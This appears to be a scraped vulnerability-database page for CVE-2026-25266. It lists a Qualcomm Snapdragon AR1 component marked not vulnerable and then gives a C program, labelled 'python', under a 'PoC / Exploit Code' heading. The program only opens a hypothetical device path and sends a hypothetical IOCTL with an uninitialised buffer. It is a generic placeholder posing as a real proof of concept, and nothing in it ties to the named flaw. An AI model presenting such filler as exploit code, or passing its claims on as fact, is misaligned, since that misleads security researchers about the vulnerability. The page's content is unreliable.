cpe:2.3:h:qualcomm:snapdragon_ar1_gen_1:-:*:*:*:*:*:*:* - NOT VULNERABLE
Qualcomm 受影响组件 (参考2026年5月安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-25266
* Conceptual demonstration of triggering memory corruption via IOCTL.
* Compile: gcc poc.c -o poc
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
// Define the vulnerable IOCTL command (hypothetical value)
#define VULNERABLE_IOCTL 0x8001
int main() {
int fd;
char buffer[1024];
// Open the device file (path is hypothetical)
fd = open("/dev/vulnerable_device", O_RDWR);
if (fd < 0) {
perror("Failed to open device");
return -1;
}
printf("Sending malicious IOCTL to trigger memory corruption...\n");
// Send the IOCTL command while device is in power-save state
// In a real scenario, specific buffer content would trigger the corruption
if (ioctl(fd, VULNERABLE_IOCTL, buffer) < 0) {
perror("IOCTL failed");
} else {
printf("IOCTL sent successfully. Device might crash.\n");
}
close(fd);
return 0;
}